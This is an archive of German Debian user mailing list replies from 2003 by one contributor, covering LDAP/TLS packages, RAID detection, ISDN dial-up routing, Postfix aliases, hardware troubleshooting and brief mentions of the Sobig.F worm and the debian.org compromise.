> > > kompiliert hatte, funktionierte leider nicht :(. Brauche ich dafuer die
> > > openssl oder gnutls header? Wahrscheinlich liegt der Hund dort begraben.
> > 
> > Ich habe gerade gesehen, daß libpam-ldap einen neuen Maintainer hat.
> > Laut Changelog soll TLS mittlerweile per default drin sein. Es fehlt
> > aber jegliche Build-Dependency in Richtung ssl. Ich weiß ja nicht, aber
> > irgendwie riecht das komisch.
> 
> Aufgrund des Changelog-Eintrages hab ich die Version aus unstable
> getestet. 
> 
> > Gab es denn aus der Quelle für slapd und libnss-ldap kein libpam-ldap Paket? 
> 
> Leider nein. die Pakete sind von backports.org (danke an die Maintainer
> dort! Ihr seid Super!), da gabs leider (noch) kein libpam-ldap.

Du könntest zumindest mal für den Moment
'http://linuxlounge.fh-worms.de/files/debian-local/dists/woody/ldap/binary-i386/ldap/libpam-ldap_140-1_i386.deb'
nehmen. Nach dem Installieren aber sofort festpinnen (=) ich habe damals
als ich das gebaut habe keine Erweiterung der Versionsnummer vorgesehen
so daß apt das mit den Original-Debs überbügeln will.

> Lukas Kolbe <[EMAIL PROTECTED]>


gruss
f


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Re: libpam-ldap und tls?

2003-12-01 Diskussionsfäden Frank Lorenzen
On Mon, Dec 01, 2003 at 12:20:49PM +0100, Lukas Kolbe wrote:
> Am Mo, den 01.12.2003 schrieb Frank Lorenzen um 09:57:
> > On Sat, Nov 29, 2003 at 02:38:03PM +0100, Lukas Kolbe wrote:
> 
> > > Die Versionen sind folgende:
> > > libpam-ldap140-1
> > > libnss-ldap211-3.backports.org.1
> > > slapd  2.1.23-0.backports.org.1
> > 
> > Fällt dir anhand der Versionsnummern irgendwas auf, warum zwei der drei
> > Pakete ssl können und eines nicht?
> > Ein heißer Tip: Das original woody ldap-Zeuchs kann kein ssl.
> 
> Ja, schon. Aber auch die Version aus unstable, die ich fuer Woody
> kompiliert hatte, funktionierte leider nicht :(. Brauche ich dafuer die
> openssl oder gnutls header? Wahrscheinlich liegt der Hund dort begraben.

Ich habe gerade gesehen, daß libpam-ldap einen neuen Maintainer hat.
Laut Changelog soll TLS mittlerweile per default drin sein. Es fehlt
aber jegliche Build-Dependency in Richtung ssl. Ich weiß ja nicht, aber
irgendwie riecht das komisch.

Gab es denn aus der Quelle für slapd und libnss-ldap kein libpam-ldap Paket? 

> Lukas Kolbe <[EMAIL PROTECTED]>

gruss
f


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Re: libpam-ldap und tls?

2003-12-01 Diskussionsfäden Frank Lorenzen
On Sat, Nov 29, 2003 at 02:38:03PM +0100, Lukas Kolbe wrote:
> Hallo!
> 
[...]
> Kann libpam-ldap ueberhaupt TLS? 
[...]

> Die Versionen sind folgende:
> libpam-ldap140-1
> libnss-ldap211-3.backports.org.1
> slapd  2.1.23-0.backports.org.1

Fällt dir anhand der Versionsnummern irgendwas auf, warum zwei der drei
Pakete ssl können und eines nicht?
Ein heißer Tip: Das original woody ldap-Zeuchs kann kein ssl.

> Lukas Kolbe <[EMAIL PROTECTED]>

gruss
f


--
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Re: Heise Meldung

2003-11-21 Diskussionsfäden Frank Lorenzen
On Fri, Nov 21, 2003 at 12:33:16PM +0100, Patrick Cornelissen wrote:
> Hi!
> 
> Für die Leute, die nicht unbedingt heise lesen:
> 
> debian.org gehackt
> 
> Erste Gerüchte gingen seit heute morgen um, jetzt ist es von den 
> Projektmitgliedern bestätigt: Einige der Server des 
> Linux-Distributionsprojekts Debian wurden in den letzten 24 Stunden 
> gehackt, daher auch die bereits gemeldeten Probleme mit www.debian.org.
> 
> Mehr unter:
> http://www.heise.de/security/news/meldung/42258

http://cert.uni-stuttgart.de/files/fw/debian-security-20031121.txt

> Bye,
>  Patrick Cornelissen

gruss
f


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Re: Ist das ein Server mit RAID?

2003-11-20 Diskussionsfäden Frank Lorenzen
On Thu, Nov 20, 2003 at 03:55:23PM +0100, Dirk Prösdorf wrote:
> Frank Lorenzen <[EMAIL PROTECTED]> wrote:
> > On Thu, Nov 20, 2003 at 11:18:16AM +0100, Manfred Gnädig wrote:
> >> Ist das ein Server mit RAID?
>  
> >> Oder wie kann ich das überprüfen?
> 
> > Aufschrauben. Reingucken.
> > Mit nichts anderem kann man das überprüfen.
> 
> Jein, man kann auch mittels "cat /proc/scsi/scsi" mal nachschaun, ob da
> etwas auftaucht, was man als Hardware-RAID Conntroler kennt. Setzt aber
> voraus, dass man sich entweder mit Hardware auskennt oder aber Google
> bedienen kann.

In der Tat. Wenn man einen SCSI RAID-Controller hat, oder einen der sich
als SCSI ausgibt.

Der OP hat sehr allgemein gefragt, also bin ich auch eher allgemein auf
die Frage eingegangen. Es gibt einfach keine generische Möglichkeit nach
einem RAID zu schauen. Wenn man schon weiß, daß man SCSI RAID hat
kann man ja viel gezieltere Informationen geben.
Da der OP nur Anhand vorhandener sd-Geräte wissen wollte, ob er denn nun
ein RAID hat ließ das auf keine große Ahnung im Umgang mit
Storage-Hardware schließen (ohne Ihn jetzt hier beleidigen zu wollen).
Da RAID in vielerlei Gestalt auftreten kann und uns der OP weiter nichts
verraten hat kam es so zu meiner Antwort. Außerdem kenne ich auch
spezielle Fälle, wie z.B. dieses Schnuckelchen hier:
http://www.starline.de/produkte/easyraid/easyraid_r5a/easyraid_r5a.htm
Normaler IDE-Anschluß, läßt sich jumpern wie eine Festplatte.
Oder Externe Feuerdraht RAID-Schränkchen (<-- "chen" !!).
Ersteres läßt sich ohne es in Augenschein zu nehmen von extern überhaupt
nicht identifizieren (Ok, über das IDE-Model vielleicht. Habs nicht
ausprobiert.), für Geräte auf FireWire Basis sucht man auch erst mal
eine Weile.
Größere Lösungen auf Basis von FibreChannel kann man dann wohl wieder
über den FibreChannel-Controler identifizieren.

gruss
f


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Re: Ist das ein Server mit RAID?

2003-11-20 Diskussionsfäden Frank Lorenzen
On Thu, Nov 20, 2003 at 01:37:06PM +, robert schurig wrote:
> hallo,
> 
[...]
> 
> "RAID-Volumes werden meines Wissens als /dev/md* angesprochen."
> 
> RICHTIG.

Auch wenn ihr beiden es noch öfter wiederholt bleibt es doch falsch.
Ebensofalsch wie deine Aussage man könne das Vorhadensein eines RAIDs
über das Auslesen von /dev/mdstat herausfinden.

Ihr redet beide nur über eine Teilmenge von RAID nämlich SOftware-RAID
über den MD-Treiber. Für _keine_ weitere Form des RAID ist eure Aussage
richtig.


gruss
f


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Re: Ist das ein Server mit RAID?

2003-11-20 Diskussionsfäden Frank Lorenzen
On Thu, Nov 20, 2003 at 11:18:16AM +0100, Manfred Gnädig wrote:
> Hallo,
> kann mir mal jemand weiter helfen?
> 
> Ist das ein Server mit RAID?
> 
> Ausgabe von df -h ..
> FilesystemSize  Used Avail Use% Mounted on
> /dev/sda3 ...
> /dev/sda1 ...
> 
> Oder wie kann ich das überprüfen?

Aufschrauben. Reingucken.
Mit nichts anderem kann man das überprüfen. Der Unsinn, daß ein RAID
immer /dev/md* wäre gleich wieder vergessen.

> Danke und liebe Grüße
> Manfred


gruss
f


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Re: ISDN Dialin

2003-10-23 Diskussionsfäden Frank Lorenzen
On Thu, Oct 23, 2003 at 02:14:18PM +0200, Peter Mathis wrote:
> Hallo, 
> 
> ich will einen ISDN ppp-Einwahlserver realisieren. Der ipppd läuft
> soweit, ein device ippp0 existiert und die FritzPCI ist erkannt.
> Allerdings weist er alle Anrufe zurück. Woran kann das liegen?
> 
> Gruss
>  P. Mathis
> 
> 
> Anbei die Entsprechende Meldung:
> 
> 
> /var/log/messages
> 
> Nov  3 18:51:02 maycry ipppd[429]: Connect[0]: /dev/ippp0, fd: 8 Nov
> 3 18:51:33 maycry kernel: isdn_net: 
> call from 68222,7,0 -> 123123 Nov  3 18:51:33 maycry kernel:
> incoming call, interface ippp0 `stopped' -> rejected Nov  3 18:51:33
> maycry kernel: isdn: Rejecting Call 
...^

> isdnctrl list ippp0 zeigt folgendes:
[...]
> Reject before Callback: on
..^^

Hast du vor Callback zu machen?


gruss
f


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Re: mefp

2003-10-20 Diskussionsfäden Frank Lorenzen
On Mon, Oct 20, 2003 at 11:04:33AM -0300, Johannes Paul wrote:
> Hallo Liste
> 
> Ich wollte mal die jenige bitten, die Mutt, Exim, Fetchmail und/oder
> Procmail benutzten, mir ihre Konfigurationen zu schicken, da Ich meine
> configs (noch) nicht richtig hinkriege.

Hahaha! Das wär ja noch schöner.

[X] Go away!



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Re: ISDN4Linux mit T-Online: Kein Ping ins Internet möglich

2003-10-20 Diskussionsfäden Frank Lorenzen
On Mon, Oct 20, 2003 at 01:20:36PM +0200, Marc Hinrichs wrote:
> Am Montag, 20. Oktober 2003 12:47 schrieb Frank Lorenzen:
> 
> > Deine alte Konfiguration hatte auf ippp1 definitiv eine Verbindung
> > stehen. Das stand nämlich in den Logfiles. Das Routing zeigte aber
> > nach ippp0 _oder_ du hast das routing erst gezeigt _nachdem_ du
> > umkonfiguriert hast.
> 
> Das gezeigte Routing war nach dem Umkonfigurieren.
> 
> > Für deinen auf ippp0 konfigurierten Internetzugang sieht das Routing
> > aber gut aus. Vielleicht hat sich beim Umstellen auf ippp0 ein
> > Fipptehler eingeschlichen und du bekommst jetzt keinen Connect mehr?
> > Kannst du in deinem Logfile (/var/log/syslog) bei einem
> > Connectversuch mit _ippp0_ irgendwo 'remote ip: a.b.c.d' 'local ip:
> > e.f.g.h' ausmachen?
> 
> Ja, und die remote ip ist die im Routing gezeigte.
> 
> Was mir halt noch aufgefallen ist als ich bei Bekannten nachgefragt 
> habe, die zwar kein ISDN aber DSL haben, war, daß in der default route, 
> die auf das ppp-Device zeigt, in der Spalte Router die remote ip des 
> ISP angezeigt wurde.

Hmm, das weiß ich jetzt nicht aus dem Stehgreif. Im Normalfall reicht
ein 'route add default dev ippp0' da wird auch nicht explizit die IP des
PPP-Peers eingetragen. Wie das dann mit 'route -n' ausschaut, tja...

Dumme Frage: Hast du einen Paket-Filter laufen?

> Gruß,
> 
> Marc


gruss
f



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Re: Re: ISDN4Linux mit T-Online: Kein Ping ins Internet möglich

2003-10-20 Diskussionsfäden Frank Lorenzen
On Mon, Oct 20, 2003 at 01:32:01AM +0200, Marc Hinrichs wrote:
> 
> Frank Lorenzen <[EMAIL PROTECTED]> schrieb am 19.10.2003, 21:57:47:
> > Hab ich doch was wichtiges vergessen: Das obige ist Quatsch. In normaler
> > konfiguration setzt sich der ipppd das Routing wie er es braucht.
> > Insbesondere, wenn dein Peer mal wechselt, ist es IMHO völliger Blödsinn
> > das Routing fest zu verdrahten.
> 
> Aber müsste man das nicht in /etc/ppp/ip-up.d/00-ipppd irgendwie
> eintragen?

Wenn du (wie du unten schreibst) ippp0 benutzt, mußt du garnichts tun.
Wenn du aber != ippp0 benutzt, solltest du das dort nachtragen.

> > Interessant wäre noch das Routing, wenn isdn noch garnicht gestartet ist
> > und wenn es im leerlauf ist, also kein Device connectet.
> 
> Kernel IP Routentabelle
> ZielRouter  Genmask Flags Metric RefUse
> Iface
> 10.0.0.20.0.0.0 255.255.255.255 UH0  00
> ippp0
> 192.168.0.0 0.0.0.0 255.255.255.0   U 0  00
> eth0
> 0.0.0.0 0.0.0.0 0.0.0.0 U 0  00
> ippp0

Sieht völlig normal aus.

> > Und wie ich vorher schon schrieb hast du hier ein wenig Device-Confusion
> > mit den ippp-Devices.
> 
> Sorry, hab zwischendurch das ippp1-Device gelöscht und als ippp0
> konfiguriert.

Deine alte Konfiguration hatte auf ippp1 definitiv eine Verbindung
stehen. Das stand nämlich in den Logfiles. Das Routing zeigte aber nach
ippp0 _oder_ du hast das routing erst gezeigt _nachdem_ du
umkonfiguriert hast.
Für deinen auf ippp0 konfigurierten Internetzugang sieht das Routing
aber gut aus. Vielleicht hat sich beim Umstellen auf ippp0 ein
Fipptehler eingeschlichen und du bekommst jetzt keinen Connect mehr?
Kannst du in deinem Logfile (/var/log/syslog) bei einem Connectversuch
mit _ippp0_ irgendwo 'remote ip: a.b.c.d' 'local ip: e.f.g.h' ausmachen?


> Gruß, Marc


gruss
f


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Re: ISDN4Linux mit T-Online: Kein Ping ins Internet möglich

2003-10-19 Diskussionsfäden Frank Lorenzen
On Sun, Oct 19, 2003 at 09:52:42PM +0200, Frank Lorenzen wrote:
> On Sun, Oct 19, 2003 at 08:40:02PM +0200, [EMAIL PROTECTED] wrote:
> > 
> > Frank Lorenzen <[EMAIL PROTECTED]> schrieb am 19.10.2003, 19:36:14:
> >  
> > > Wohin wählt den ippp0, steht schon eine Default-Route?
> > 
> > route -n gibt folgendes aus, wenn ich eingewählt bin.
> > 
> > Kernel IP Routentabelle
> > ZielRouter  Genmask Flags Metric RefUse
> > Iface
> > 193.158.134.105 0.0.0.0 255.255.255.255 UH0  00 ippp0
> > 192.168.0.0 0.0.0.0 255.255.255.0   U 0  00 eth0
> > 0.0.0.0 0.0.0.0 0.0.0.0 U 0  00 ippp0
> > 
> > 
> > Dabei ist 193.158.134.105 die IP des T-Online-Servers. Ein Bekannter
> > sagte mir vorhin noch, dass man diese noch in der Defaultroute als
> > Gateway angeben muss. Das habe ich schon probiert und es hat auch nicht
> > geklappt. Ehrlich gesagt blicke ich da noch nicht so ganz durch.

Hab ich doch was wichtiges vergessen: Das obige ist Quatsch. In normaler
konfiguration setzt sich der ipppd das Routing wie er es braucht.
Insbesondere, wenn dein Peer mal wechselt, ist es IMHO völliger Blödsinn
das Routing fest zu verdrahten.

Interessant wäre noch das Routing, wenn isdn noch garnicht gestartet ist
und wenn es im leerlauf ist, also kein Device connectet.

Und wie ich vorher schon schrieb hast du hier ein wenig Device-Confusion
mit den ippp-Devices.


gruss
f


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Re: ISDN4Linux mit T-Online: Kein Ping ins Internet möglich

2003-10-19 Diskussionsfäden Frank Lorenzen
On Sun, Oct 19, 2003 at 08:40:02PM +0200, [EMAIL PROTECTED] wrote:
> 
> Frank Lorenzen <[EMAIL PROTECTED]> schrieb am 19.10.2003, 19:36:14:
>  
> > Wohin wählt den ippp0, steht schon eine Default-Route?
> 
> route -n gibt folgendes aus, wenn ich eingewählt bin.
> 
> Kernel IP Routentabelle
> ZielRouter  Genmask Flags Metric RefUse
> Iface
> 193.158.134.105 0.0.0.0 255.255.255.255 UH0  00 ippp0
> 192.168.0.0 0.0.0.0 255.255.255.0   U 0  00 eth0
> 0.0.0.0 0.0.0.0 0.0.0.0 U 0  00 ippp0
> 
> 
> Dabei ist 193.158.134.105 die IP des T-Online-Servers. Ein Bekannter
> sagte mir vorhin noch, dass man diese noch in der Defaultroute als
> Gateway angeben muss. Das habe ich schon probiert und es hat auch nicht
> geklappt. Ehrlich gesagt blicke ich da noch nicht so ganz durch.

Du hast da zwei Devices durcheinandergebracht. In deinem Ursprungspost
schriebst Du von ippp1, hier sehe ich nur ippp0.

PS: Bitte kaufe dir doch für die Zukunft mal ein Päckchen References,
die erleichtern das Lesen eines Tread doch ungemein.

> Marc

gruss
f


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Re: ISDN4Linux mit T-Online: Kein Ping ins Internet möglich

2003-10-19 Diskussionsfäden Frank Lorenzen
On Sun, Oct 19, 2003 at 05:30:01PM +0200, [EMAIL PROTECTED] wrote:
> Hallo,
> 
> ich bin gerade das erste mal dabei ISDN unter Debian einzurichten. Bei
> der Karte handelt es sich um eine AVM Fritz-Card PCI v2, das
> entsprechende Kernel-Modul habe ich geladen. Ich habe ISDN4Linux anhand
> dieser Anleitung konfiguriert. 
> 
> http://www.shuttle.de/support/anleitungen/linux/debian/woody/
> 
> Es läuft auch alles fehlerfrei, ausser dass ich nach der erfolgreichen
> Einwahl bei T-Online nicht ins Internet komme. Um das zu testen habe
> ich, sowohl die IP-Adresse des mir zugewiesenen Name-Servers, als auch
> einer www-Adresse ausprobiert:
> 
> [EMAIL PROTECTED]:~$ ping 217.5.97.137
> PING 217.5.97.137 (217.5.97.137): 56 data bytes
> 
> Mehr wird nicht ausgegeben.
> 
> Hier die Ausgabe von syslog, nachdem ich mit isdnctrl eingewählt hab,
> ich habe auch noch die Konfigurationsdateien von ISDN4Linux angehängt.
> 
> Gruß, Marc Hinrichs
> 
> Ausgabe von syslog:
[...] Verbindung steht.

Debian geht davon aus, daß der default IN-Uplink über ippp0 geht.
Lesetips:
/etc/ppp/ip-up.d/00-ipppd resp. ip-down.d/99-ipppd

Wohin wählt den ippp0, steht schon eine Default-Route?


gruss
f


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Re: Seltsames in der messages?

2003-10-18 Diskussionsfäden Frank Lorenzen
On Thu, Oct 16, 2003 at 05:58:41PM +0200, Ingo Kertscher wrote:
> Hallo,
> 
> letztens habe ich ein Upgrade auf Woody3.0r1
> gemacht soweit alles gut.
> Heute meldet fetchnews Segmentation fault,
> ein Blick in die var/log/messages bringt folgendes:
[...]
> Alle was ich hier lese ist das der Kernel beim booten
> abstirbt(gelegentlich)
> manchmal bleibt das teil auch beim/nach dem FS Check stehen warum?
> 
> Standard Woody Installation im minimalsystem mit Leafnode un einigen
> kleinigkeiten.
> HW K6/2-500Mhz 4 Platten keine CD, Floppy vorhanden.
> 
> Wer kann mir weiter helfen nach möglichkeit möchte ich hier kein
> Hardware mäßige Bastelorgie starten, eine Startfloppy habe ich
> natürlich nicht(das hat nämlich noch nie funktioniert),
> Netzwerk ist bis zum eintreten des Fehlers noch nicht
> gestartet.

Höchstwahrscheinlich hat deine Hardware einen Schlag. Ich würde
folgendermaßen vorgehen:
1)  Kiste aufschrauben und schauen ob der CPU-Lüfter noch dreht.
2)  Nochmal genau hinschauen, ob er auch richtig rund dreht.
3)  Den Hauptspeicher ziehen und mit kräftiger Lunge oder Dosen-Luft
mal durchpusten (die Sockel auf dem Board), Speicher wieder
einbauen.
4)  Mal einen Blick ins Netzteil werfen, durch diese
Lüftungs-Langlöcher. Sieht es da drin aus wie eine
Tropfsteinhöhle aus Staub nachgebaut, solltest du auch hier mal
mit der Druckluft rangehen.
5)  Hast du mehrere RAM-Riegel, so baue selektiv mal den einen oder
anderen aus, daß du mal jeden einzeln drin hattest.


An geeigneten Stellen ist nachzuprüfen, ob sich die Lage geändert hat.

Sollte alles das nichts bringen, hast du ein größeres/anderes Problem :)

> Danke
> Ingo


gruss
f


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Re: Internetsperre - wo ansetzen?

2003-10-13 Diskussionsfäden Frank Lorenzen
On Fri, Oct 10, 2003 at 10:13:12PM +0200, Jan Lühr wrote:
> -BEGIN PGP SIGNED MESSAGE-
> Hash: SHA1
> 
> ja hallo erstmal,...
> 
> scenario: Mehrer XTermianls (woody) sind mit einem XDMCP-Server (kdm, woody) 
> verbunden. Diese stehen in mehreren Poolräumen. Diese rufen Internetseite 
> über einen Proxyserver (Squid) ab. Nun soll das Internet raumweise gesperrt 
> werden können. Wie realisiere ich das.
[...]

Nach allem was bisher schon gesagt wurde hätte ich da auch noch einen
(wackeligen) Ansatz.
Da du von "Internetseiten" redest, gehe ich mal davon aus, daß nur
Browser betroffen sind, nennen wir sie einmal netscape und mozilla.
Schreibe einfach einen Wrapper um jeden von beiden Browsern, der
$DISPLAY auswertet und so erkennt, von welchem Terminal es aufgerufen
wurde. Matcht das auf ein "Internet-Exclude" wird mit exit 0 wieder
herausgesprungen, matcht es nicht wird der Browser gestartet.

Nachteil der Sache: Finden die findigen User erst mal heraus, daß man
mit netscape.real oder was auch immer trotzdem Internetten kann ist es
mit der Sperre vorbei.

> 
> Keep smiling
> yanosz


gruss
f


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Re: cups und USB-Drucker

2003-10-13 Diskussionsfäden Frank Lorenzen
On Sat, Oct 11, 2003 at 03:14:38PM +0200, Christian Schmidt wrote:
> Tobias Kraus schrieb/wrote:
> 
> > Am Freitag, 10. Oktober 2003 18:16 schrieb Christian Schmidt:
> > [...]
> > > Quick & dirty ohne Garantie: Ueberpruefe mit cron in regelmaessigen
> > > Abstaenden, ob das USB-Druckerdevice "da" ist. Wenn ja, dann setze
> > > den Drucker via Kommandozeile auf "aktiv" - es sei denn, das ist
> > > schon geschehen.
> > 
> > Keine schlechte Idee, hat aber das Problem von u.U. langen 
> > Latenzzeiten. Nicht unbedingt angenehm wenn man lokal schnell etwas 
> > ausdrucken will.
> 
> Nun, die Latenzzeiten duerften sehr eng mit den Abstaenden verknuepft
> sein, in denen das cron-Skript laeuft...

Warum schreibst du kein Hotplug-Script, das cups restartet wenn du den
Drucker einschaltest?

> Gruss,
> Christian


gruss
f



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Re: [OT] Wie heißt der Virus

2003-10-10 Diskussionsfäden Frank Lorenzen
On Fri, Oct 10, 2003 at 07:10:44PM +0200, Bertram Scharpf wrote:
> Hallo,
> 
> gestern habe ich zwei Mails bekommen mit einem Anhang,
> deren Dateiname `*.exe' heißt und die mit 'MZ' beginnen.
-^^
> Das merkwürdige ist, daß beide Anhänge Byte für Byte
> übereinstimmen (`diff').
> 
> Nun wüßte ich gern, was mir da geschickt wurde und vor allem
> von wem. Kann mir jemand eine Netzseite verraten, mit der
> ich das herausfinden kann? Einen Skanner für Windows-Viren
> besitze ich schon lange nicht mehr.

[X] You made my Day!


> Danke vorab,
> Bertram


gruss
f


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Re: UDP Pakete tunneln?

2003-10-10 Diskussionsfäden Frank Lorenzen
On Fri, Oct 10, 2003 at 07:58:45PM +0200, Michael Renner wrote:
> Moin,
> 
> ich suche nach einer Möglichkeit UDP Pakete von einem in ein anderes Intranet 
> zu tunneln. Per ssh lassen sich nur tcp Pakete tunneln, was ginge denn noch 
> (ohne gleich ein ganzes VPN aufzusetzen)?

Tunnele ppp durch ssh.

Wahlweise gibts das auch schon fertig und heißt 'secvpn'.

> CU

gruss
f


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Re: Postfix und Virtuelle User

2003-10-10 Diskussionsfäden Frank Lorenzen
On Fri, Oct 10, 2003 at 06:16:23PM +0200, Martin Schmiderer wrote:

[...] /etc/aliases

>  Hallo,
> 
> wenn Dein user ps heist dann sollte der alias eintrag
> ps: patrick
> heisen

Unsinn.

> regards,
> Martin

gruss
f


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Re: Postfix und Virtuelle User

2003-10-10 Diskussionsfäden Frank Lorenzen
On Fri, Oct 10, 2003 at 05:51:44PM +0200, Patrick Schnorbus wrote:
> Hallo Frank,
> 
> On Friday 10 October 2003 17:29, Frank Lorenzen wrote:
> > On Fri, Oct 10, 2003 at 05:08:14PM +0200, Patrick Schnorbus wrote:
> > > Hallo,
> > >
> > > ich versuche, virtuelle User in meinem Postfix auf Debian Woody
> > > einzurichten. Beispiel:
> > > Systembenutzer heisst "ps". Er soll aber auch z.B. die Mails an "patrick"
> > > empfangen.
> >
> > [...] Postfix-Virtual
> >
> > Wenn es nur um eine Handvoll User geht würde ich einfach einen alias
> > setzen:
> > /etc/aliases
> > patrick:ps
> 
> Das habe ich auch schon probiert. Der Mailerdaemon schickt mir die Nachricht 
> mit einem 550er zurueck (Unknown local part patrick) :-(

'postalias /etc/aliases' und 'postfix reload' vergessen?

> Gruss,
> Patrick

gruss
f


--
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Re: Postfix und Virtuelle User

2003-10-10 Diskussionsfäden Frank Lorenzen
On Fri, Oct 10, 2003 at 05:08:14PM +0200, Patrick Schnorbus wrote:
> Hallo,
> 
> ich versuche, virtuelle User in meinem Postfix auf Debian Woody einzurichten. 
> Beispiel:
> Systembenutzer heisst "ps". Er soll aber auch z.B. die Mails an "patrick" 
> empfangen.
[...] Postfix-Virtual

Wenn es nur um eine Handvoll User geht würde ich einfach einen alias
setzen:
/etc/aliases
patrick:ps

> Gruss,
> Patrick

gruss
f


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Re: Zeiteinstellung nach Server

2003-10-09 Diskussionsfäden Frank Lorenzen
On Fri, Oct 10, 2003 at 12:51:54AM +0200, Thomas Heimroth wrote:
> Hallo an euch!
> 
> Habe eine debian woody 3.0 distri.
> Ich möchte gern meine Zeit von meinem Clienten nach der Zeit meines Servers
> einstellen. Mein Server bekommt die Zeit von einem Zeitserver aus dem
> Internet. Das ganze funktioniert auch schon, nur geht die Zeit um genau
> zwei Stunden vor. Woran liegt das?

An UTC.

Wie syncronisiertst du die Zeit? Wie sind die lokalen Zeiteinstellungen?
WIe läuft deine Hardware-Uhr?

> Gruß Thomas

gruss
f


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Re: Mausproblem/X

2003-10-09 Diskussionsfäden Frank Lorenzen
On Wed, Oct 08, 2003 at 12:40:40PM +0200, Thomas Rauchenwald wrote:
> Hallo Liste!
> 

[...] Maus zuckt manchmal

> Option  "Protocol"  "IMPS/2"
> Option  "Device""/dev/psaux"
[...]
> In den XFree86-logs hab ich nichts auffallendes gefunden.
> Da das Problem nicht immer auftritt, bin ich ziemlich ratlos.
> Hat jemand eine Idee?

Läuft zufällig noch ein gpm nebenher? Wenn ja schalte den doch mal ab.

> Grüße,
> Tom 


gruss
f


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Re: /dev erstellen

2003-10-03 Diskussionsfäden Frank Lorenzen
On Thu, Oct 02, 2003 at 02:40:43AM +0200, Michelle Konzack wrote:
> Am 2003-10-01 11:37:10, schrieb Norbert Tretkowski:
> >* Michelle Konzack wrote:
> 
> >> um auf dem Debian-System devices zu erstellen, wechsele 
> >> in das /dev von Debian und dann ein ./MAKEDEV
> >
> >Und wenn man genauer hin sieht, wird man feststellen, das unter
> >/dev/MAKEDEV auch nur ein Link nach /sbin/MAKEDEV ist.
> 
> Ups, - bei mit ist das KEIN Link :-/
> Wo kommt das her ?

Der Thread ist zwar schon ein wenig betagt, aber was sagt
diff /dev/MAKEDEV /sbin/MAKEDEV

> 
> Grüße
> Michelle

gruss
f


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Re: Releasetermin

2003-08-30 Diskussionsfäden Frank Lorenzen
On Sat, Aug 30, 2003 at 02:40:29PM +0200, Wolfgang Jeltsch wrote:
> Hallo,
> 
> ein offizieller Releasetermin für den nächsten stabilen Debian-Release 
> existiert leider noch nicht. Kann jemand sagen, für wann man diesen Release 
> ungefähr erwarten kann?

An Weihnachten.

> Viele Grüße
> Wolfgang


gruss
f


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Re: XDMCP request

2003-08-27 Diskussionsfäden Frank Lorenzen
On Tue, Aug 26, 2003 at 10:04:43PM +0200, Ruediger Noack wrote:
> Henry Margies wrote:
> >sollte dir diese erste Anleitung nicht reichen, hilft es auch den XDM
> >manuell mit Debug-Ausgaben und nicht als Daemon zu starten.> Bei solchen 
> >Problemen kann man dann entweder raten oder dem XDM
> >zuhören.
> >
> Enrweder ich verstehe gar nichts oder wir reden komplett aneinander 
> vorbei. :-(
> 
> Ich starte keinen XDM oder anderen Display- (login-) Manager, sondern 
> nur den X-Server. Der ?dm läuft doch remote und darauf habe ich keinen 
> Einfluss.

Mal was ganz banales: Kannst du eigentlich einen X-Server einfach so
starten, also "X" bzw. "X :1" eintippern? Läuft das?
Ich habe leider mit X -query und X -indirect schon einige Erfahrungen
gemacht, aber eine Fehlermeldung wie die Deine war noch nicht dabei.

> Gruß
> Rüdiger


gruss
f


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Re: WAs ist denn das für ein Müll ???

2003-08-20 Diskussionsfäden Frank Lorenzen
On Wed, Aug 20, 2003 at 01:32:51PM +0200, Peter Schubert wrote:
> Hallo Pinguine,
> 
> Seit einiger Zeit fallen mir socherart Mails ständig in den Kasten, sie 
> kommen *zweifelsfrei* aus der Debian-Liste. Kann man das nicht mal 
> abstellen? Was ist das überhaupt? Was ist das für eine BP policy?
> 
> Gruss
> Peter
> 
[...]

Das ist Sobig.F.
Es gibt wohl einige Ausguck Nutzer hier auf der Liste und da sich
Sobig.F variabler Absenderadressen bedient, verbreitet er sich halt auch
mit Sender "debian-user-german". Was hier wieder aufschlägt sind bounces
von nicht mehr erreichbaren Adressen, Virus-Notifications, etc. pp.

Die deutsche FreeBSD-Liste hat auch gerade dieses Problem.



gruss
f


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Re: [OT] Haben SCO...

2003-08-19 Diskussionsfäden Frank Lorenzen
On Tue, Aug 19, 2003 at 02:50:37PM +0200, [EMAIL PROTECTED] wrote:
> Moin, 
>  
> > ...jetzt endgültig den Verstand verloren[1]? Paßt ja eigentlich 
> > nicht richtig hierher, aber gelesen sollte man's schon haben... 
>  
> man könnte die Sache von der anderen Seite angehen! Nehmen wir SCO ernst! 
> Untersuchen wir wie der deanstandete Code in den Linux-Kernel kam! Der war 
> nicht plötzlich da drin, dieses Stück Program muss von jemandem eingepflegt 
> worden sein, es sollte möglich sein festzustellen von wem. Und wenn der Name
> 
> (die Namen) bekannt sind kann man bei diesenKernelentwicklern nachfragen 
> ob/wie sie an die Quellen von SCO Unix kamen! Dieser Quellcode lag ja nicht 
> (!) frei auf FTP Servern rum. Nehmen wir an SCO hat Recht: Dann jemand mit 
> Zugang zum SCO Quellcode diese Zeilen gestolen und rechtswidrig (oder wie 
> auch immer) kopierte dann hat sich eine Person strafbar (oer wie auch immer)
> gemacht. Nicht die Nutzer müssen Gebühren von 600 USD zahlen! 
[...]

Das ist schon richtig, nur was willst Du machen? Es ist ja nun nicht so
daß SCO mit dem Wissen um _welchen_ Code es sich denn nun dreht besonders
hausieren geht.


gruss
f


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Re: pppoe

2003-08-14 Diskussionsfäden Frank Lorenzen
On Wed, Aug 06, 2003 at 01:44:51PM +0200, Rico Saupe wrote:
> Hallo 
> 
> Ich habe ein Problem mit der Nutzung meines DSL-Modems. Habe Woody
> installiert und mit dem Kernel, der dabei ist 2.2.20 funktioniert mein
> DSL gut (habe ihn so gelassen, wie er war). Jetzt wollte ich auf einen
> neuen Kernel umsteigen. (2.4.21). Habe auch die Unterstützung für ppp,
> pppoe einkompiliert (fest). Trotzdem kann ich das Internet nicht mehr
> nutzen. Wie komme ich da weiter. Wenn ich mir die dmesg von den Starts
> beider Kernel anschuaen, fällt mir auf, dass bei dem alten Kernel eine
> Zeile steht, in dem eni neues Device ppp0 erzeugt wird. Im neuen Kernel
> nicht. Da gibt es nach dem Start keine Device. "route" gibt mir nur eth0
> aus. 
> Kann mir jemand weiterhelfen?

Ein Schuß ins blaue:
2.4.21 Selbstcompiliert? PPP-async Support bei PPP vergessen?
Ist zumindest mir am Anfang des Umstiegs auf 2.4 mal so gegangen.

> Tschüß
> 
> Rico

gruss
f


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Re: TYPHOON ACOUSTIC SIX 5+1 SOUND CARD (Laut Verpackungsbeschriftung Acoustic 6)

2003-08-14 Diskussionsfäden Frank Lorenzen
